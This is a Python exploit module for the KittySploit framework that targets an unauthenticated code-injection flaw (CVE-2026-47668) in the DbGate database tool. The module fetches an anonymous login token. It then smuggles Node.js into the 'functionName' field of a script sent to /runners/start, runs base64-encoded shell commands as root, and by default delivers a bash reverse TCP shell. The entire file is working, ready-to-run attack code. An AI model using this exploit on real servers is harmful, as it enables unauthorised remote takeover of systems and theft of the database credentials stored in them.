DbGate Script Runner RCE (CVE-2026-47668)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-47668 — DbGate unauthenticated JSON script runner code injection RCE."""

import base64
import time
import uuid

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client):
    __info__ = {
        "name": "DbGate Script Runner RCE (CVE-2026-47668)",
        "description": (
            "Exploits CVE-2026-47668 in DbGate <= 7.1.8: POST /runners/start transpiles JSON "
            "scripts by concatenating assign.functionName after dbgateApi. without validation. "
            "A value like x;<injected JS>;// runs arbitrary Node.js as root. Anonymous "
            "POST /auth/login often yields a JWT. Delivers the configured framework payload "
            "(reverse_tcp by default); set payload nopayload to capture verify_cmd output via "
            "out.txt under /runners/data/<runid>/."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-47668"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-47668",
            "https://www.cve.org/CVERecord?id=CVE-2026-47668",
        ],
        "platform": Platform.LINUX,
        "arch": [Arch.X86, Arch.X64],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "dbgate",
            "nodejs",
            "code-injection",
            "unauthenticated",
            "rce",
            "cve-2026-47668",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["dbgate"],
                "endpoint_pattern_any": ["/runners/start"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "functionName injection"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": [],
            },
        },
    }

    port = OptPort(3000, "DbGate HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    verify_cmd = OptString(
        "id",
        "Command when set payload nopayload (output written to runners/data out.txt)",
        False,
        advanced=True,
    )
    poll_seconds = OptInteger(
        6,
        "Seconds to poll out.txt when using nopayload / verify_cmd",
        False,
        advanced=True,
    )

    def _payload_command(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "id").strip() or "id"

    def _capture_command_output(self) -> bool:
        if self._is_nopayload():
            return True
        path = self._get_configured_payload_path().lower()
        return "reverse" not in path and "bind" not in path

    def _api(self, suffix: str) -> str:
        base = (self.path or "/").rstrip("/")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _login_token(self):
        response = self.http_request(
            method="POST",
            path=self._api("/auth/login"),
            json={"amoid": "none"},
            session=True,
            allow_redirects=False,
            timeout=int(self.timeout or 15),
        )
        if not response:
            return ""
        body, err = parse_json_response(response)
        if err or not body:
            return ""
        for key in ("accessToken", "access_token", "token"):
            if body.get(key):
                return str(body[key])
        inner = body.get("data") or body.get("result")
        if isinstance(inner, dict):
            for key in ("accessToken", "access_token", "token"):
                if inner.get(key):
                    return str(inner[key])
        return ""

    def _auth_headers(self, token: str) -> dict:
        return {"Authorization": f"Bearer {token}"} if token else {}

    def _runner_body(self, command: str, capture_output: bool, marker: str = "") -> dict:
        b64 = base64.b64encode(command.encode()).decode()
        if capture_output:
            probe = f"{command}; echo {marker}" if marker else command
            b64 = base64.b64encode(probe.encode()).decode()
            node_js = (
                f"process.mainModule.require('child_process')"
                f'.execSync("echo {b64}|base64 -d|sh > out.txt 2>&1")'
            )
        else:
            node_js = (
                f"process.mainModule.require('child_process')"
                f'.exec("echo {b64}|base64 -d|sh")'
            )
        return {
            "script": {
                "type": "json",
                "packageNames": [],
                "commands": [
                    {
                        "type": "assign",
                        "variableName": "x",
                        "functionName": f"x;{node_js};//",
                        "props": {},
                    }
                ],
            }
        }

    def check(self):
        try:
            probe = self.http_request(
                method="POST",
                path=self._api("/runners/start"),
                json={"script": {"type": "json", "commands": []}},
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"target unreachable: {exc.__class__.__name__}",
                "confidence": "low",
            }

        if not probe:
            return {"vulnerable": False, "reason": "no HTTP response", "confidence": "low"}

        code = int(probe.status_code or 0)
        if code == 404:
            return {
                "vulnerable": False,
                "reason": "POST /runners/start not found — not DbGate?",
                "confidence": "medium",
            }

        token = self._login_token()
        return {
            "vulnerable": True,
            "reason": f"DbGate /runners/start reachable (HTTP {code})",
            "confidence": "medium",
            "token": token,
            "unauth_code": code,
        }

    def run(self):
        try:
            print_status("CVE-2026-47668 — DbGate JSON script runner RCE")

            result = self.check()
            if not result.get("vulnerable"):
                print_error(result.get("reason", "Target does not appear exploitable"))
                self.not_vulnerable()
                return False

            print_success(result.get("reason", "Target appears exploitable"))
            token = result.get("token") or self._login_token()
            if token:
                print_info(f"Anonymous JWT obtained ({len(token)} chars)")
            else:
                print_info("No JWT from /auth/login — continuing unauthenticated")

            command = self._payload_command()
            capture_output = self._capture_command_output()
            marker = f"ALIM_{uuid.uuid4().hex[:12]}" if capture_output else ""

            if capture_output:
                print_status(f"Dispatching verify command: {command}")
            else:
                print_status("Dispatching framework payload — waiting for session on listener")

            start = self.http_request(
                method="POST",
                path=self._api("/runners/start"),
                json=self._runner_body(command, capture_output, marker),
                headers=self._auth_headers(token),
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
            if not start:
                print_error("No response from /runners/start")
                self.not_vulnerable()
                return False

            code = int(start.status_code or 0)
            text = start.text or ""
            if code == 500 and "Invalid functionName" in text:
                print_error("Payload rejected — Invalid functionName (patched >= 7.1.9)")
                self.not_vulnerable()
                return False
            if code == 401:
                print_error("HTTP 401 — anonymous auth disabled")
                self.not_vulnerable()
                return False

            body, err = parse_json_response(start)
            runid = (body or {}).get("runid") if not err else None
            if not runid:
                print_error(f"No runid returned (HTTP {code})")
                self.not_vulnerable()
                return False

            print_success(f"Runner dispatched — runid {runid}")

            if not capture_output:
                print_success("Payload injected — check listener for session")
                self.vulnerable()
                return True

            print_status(f"Reading /runners/data/{runid}/out.txt")
            output = None
            deadline = time.time() + int(self.poll_seconds or 6)
            while time.time() < deadline:
                fetch = self.http_request(
                    method="GET",
                    path=self._api(f"/runners/data/{runid}/out.txt"),
                    headers=self._auth_headers(token),
                    session=True,
                    allow_redirects=False,
                    timeout=int(self.timeout or 15),
                )
                if fetch and int(fetch.status_code or 0) == 200 and marker in (fetch.text or ""):
                    output = fetch.text or ""
                    break
                time.sleep(0.5)

            if output is None:
                print_error("No command output in out.txt — target may be patched")
                self.not_vulnerable()
                return False

            cleaned = "\n".join(
                line for line in output.splitlines() if marker not in line
            ).strip()
            print_success(f"RCE confirmed — command output:")
            print_info(cleaned or output.strip())
            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False